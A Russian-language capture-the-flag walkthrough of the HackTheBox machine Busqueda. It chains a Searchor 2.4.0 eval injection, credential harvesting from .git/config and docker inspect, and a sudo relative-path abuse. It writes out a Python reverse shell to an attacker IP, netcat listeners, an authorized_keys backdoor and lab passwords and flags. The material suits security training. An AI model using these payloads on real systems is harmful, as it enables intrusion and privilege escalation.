Обзор сервисов

Машина имеет IP адрес 10.10.11.208.

Запустим nmap и посмотрим, какие сервисы присутствуют на машине:

$ nmap -sT -v 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:36 MSK
Initiating Ping Scan at 21:36
Scanning 10.10.11.208 [2 ports]
Completed Ping Scan at 21:36, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:36
Completed Parallel DNS resolution of 1 host. at 21:36, 5.06s elapsed
Initiating Connect Scan at 21:36
Scanning 10.10.11.208 [1000 ports]
Discovered open port 80/tcp on 10.10.11.208
Discovered open port 22/tcp on 10.10.11.208
Completed Connect Scan at 21:36, 2.17s elapsed (1000 total ports)
Nmap scan report for 10.10.11.208
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds

На машине открыты стандартные порты для HTTP и SSH.

Попробуем перейти на вебку по адресу http://10.10.11.208 и получаем редирект на http://searcher.htb:

Alt text

Нам необходимо прописать этот домен в /etc/hosts, сделаем это с помощью nano:

$ sudo nano /etc/hosts

# в конец файла добавим
10.10.11.208 searcher.htb

После чего попытаемся вновь перейти на http://searcher.htb и, наконец, попадаем на вебку:

Alt text

Публичный эксплоит

Опустимся в самый низ вебки и увидим там надпись Searchor 2.4.0. Быстрый запрос в гугле показывает, что для такой версии существует публичный эксплоит https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.

Версия Searchor 2.4.0 подвержена RCE уязвимости из-за следующего куска кода:

@click.argument("query")  
def search(engine, query, open, copy):  
  try:  
 url = eval(  
   f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"  
 )  
 click.echo(url)  
 searchor.history.update(engine, query, url)  
 if open:  
   click.echo("opening browser…")  

В этом куске кода пользователь может манипулировать параметром query, который попадает на исполнение в функцию eval, вследствие чего возможно удаленное исполнение произвольных команд, например, с помощью следующей конструкции: __import__('os').system('CMD').

Склонируем репозиторий к себе:

git clone <https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection>  
cd Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection

Запустим ожидание удаленного подключения:

nc -lnvp 9001

Запустим эксплоит (10.10.14.162 - наш IP-адрес, 9001 - порт подключения):

bash exploit.sh searcher.htb 10.10.14.162 9001

Удостоверимся, что эксплоит сработал:

Alt text

Для удобства пропишем свой SSH ключ и подключимся напрямую, так как порт 22 открыт, и нам ничего не мешает это сделать:

svc@busqueda:/var/www/app$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGwM4lpidB2ssq6t4DA0TeLLmvp7/5Ws3ujK+87ScX9y 1" >> ~/.ssh/authorized_keys  
$ ssh [email protected]

Пользовательский флаг

Уже на этом этапе можем забрать пользовательский флаг:

svc@busqueda:~$ cat user.txt  
54458765b1491c57bc2ceca67d700e9b

Alt text

Gitea

В пользовательской директории выполним ls -la и обнаружим файл .gitconfig, после чего выведем его на экран:

svc@busqueda:~$ ls -la  
total 60  
drwxr-x-—7 svc svc 4096 Jun 14 19:04 .  
drwxr-xr-x 3 root root 4096 Dec 22 18:56 ..  
lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null  
-rw-r--r—1 svc svc 220 Jan 6 2022 .bash_logout  
-rw-r--r—1 svc svc 3771 Jan 6 2022 .bashrc  
drwx----—2 svc svc 4096 Feb 28 11:37 .cache  
-rw-rw-r—1 svc svc 109 Jun 14 19:04 .gitconfig  
drwx----—3 svc svc 4096 Jun 14 17:52 .gnupg  
-rw-----—1 svc svc 20 Jun 14 19:04 .lesshst  
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local  
lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null  
-rw-r--r—1 svc svc 807 Jan 6 2022 .profile  
lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null  
drwx----—2 svc svc 4096 Jun 14 15:43 .ssh  
-rw-----—1 svc svc 963 Jun 14 17:40 .viminfo  
-rw-r--r—1 svc svc 0 Jun 14 17:54 file  
-rw-r--r—1 svc svc 55 Jun 14 19:04 full-checkup.sh  
drwx----—3 svc svc 4096 Jun 14 15:29 snap  
-rw-r---—1 root svc 33 Jun 14 14:32 user.txt  
svc@busqueda:~$ cat .gitconfig  
[user]  
email = [email protected]  
name = cody  
[core]  
hooksPath = no-hooks  
[safe]  
directory = /var/www/app

Отсюда мы узнали, что существует пользователь гита с именем cody.

Выполним команду ls -la в директории /var/www/app, в которой мы были изначально, и обнаружим там директорию .git, что означает, что перед нами Git-репозиторий:

svc@busqueda:/var/www/app$ ls -la  
total 20  
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .  
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..  
drwxr-xr-x 8 www-data www-data 4096 Jun 14 14:32 .git  
-rw-r--r—1 www-data www-data 1124 Dec 1 2022 app.py  
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates  
svc@busqueda:/var/www/app$ git log  
fatal: detected dubious ownership in repository at '/var/www/app'  
To add an exception for this directory, call:

git config --global --add safe.directory /var/www/app  
svc@busqueda:/var/www/app$ git config --global --add safe.directory /var/www/app  
svc@busqueda:/var/www/app$ git log  
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 (HEAD -> main, origin/main)  
Author: administrator <[email protected]>  
Date: Sun Dec 25 12:14:21 2022 +0000

Initial commit

Из этого листинга мы узнали, что существует Git-сервер по адресу http://gitea.searcher.htb, который мы можем добавить так же в наш файл /etc/hosts:

$ sudo nano /etc/hosts  
10.10.11.208 searcher.htb gitea.searcher.htb

Alt text

Логин и пароль от пользователя Cody

Попытаемся поискать по имени cody в директории /var/www/app:

svc@busqueda:/var/www/app$ grep cody . -R  
./.git/config: url = http://cody:[email protected]/cody/Searcher_site.git

Это даёт нам учетную запись и пароль от учетки в гите: cody:jh1usoih2bkjaspwe92.

Воспользуемся ими:

Alt text

К сожалению, нам доступен только тот же репозиторий, который мы уже видим на машине.

Sudo

Попытаемся воспользоваться командой sudo и паролем jh1usoih2bkjaspwe92:

svc@busqueda:~$ sudo -l  
[sudo] password for svc:  
Matching Defaults entries for svc on busqueda:  
env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,  
use_pty

User svc may run the following commands on busqueda:  
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Это означает, что наш пользователь может запускать команду /usr/bin/python3 /opt/scripts/system-checkup.py * от имени супер пользователя.

Воспользуемся этим и обнаружим, что это стандартные Docker-команды:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py 1  
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

docker-ps : List running docker containers  
docker-inspect : Inpect a certain docker container  
full-checkup : Run a full system checkup  
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps  
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES  
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea  
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db

Документация по docker inspect говорит о том, что можно получить конфигурацию машины с помощью команды docker inspect --format='{{.Config.Image}}' $INSTANCE_ID:

Alt text

Отсюда мы нашли пароль yuiu1hoiu4i5ho1uh, который мы попробуем применить для пользователя administrator в вебке от Gitea:

Alt text

Здесь располагается репозиторий со скриптами, запуск которых нам доступен.

Скрипт system-checkup.py

Посмотрим код скрипта system-checkup.py и обнаружим, что это скрипт исполняет буквально команду ./full-checkup.sh:

elif action == 'full-checkup':  
  try:  
 arg_list = ['./full-checkup.sh']  
 print(run_command(arg_list))  
 print('[+] Done!')

Это означает, что мы можем создать в любой директории, доступной для записи, файл full-checkup.sh с реверс-шеллом. Например:

$ cd && nano full-checkup.sh  
#!/usr/bin/python3  
import socket  
import subprocess  
import os  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("10.10.14.162",4242))  
os.dup2(s.fileno(),0)  
os.dup2(s.fileno(),1)  
os.dup2(s.fileno(),2)  
import pty  
pty.spawn("sh")  
$ chmod +x full-checkup.sh

Запустим ожидание подключения и скрипт:

$ nc -lnvp 4242  
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

После чего ловим подключение:

Alt text

Флаг суперпользователя

Теперь можем забирать последний флаг и завершать решение:

$ cd /root  
$ ls  
ecosystem.config.js root.txt scripts snap  
$ cat root.txt  
7d84f0dc64d5f777b86fa472f71b7935

Alt text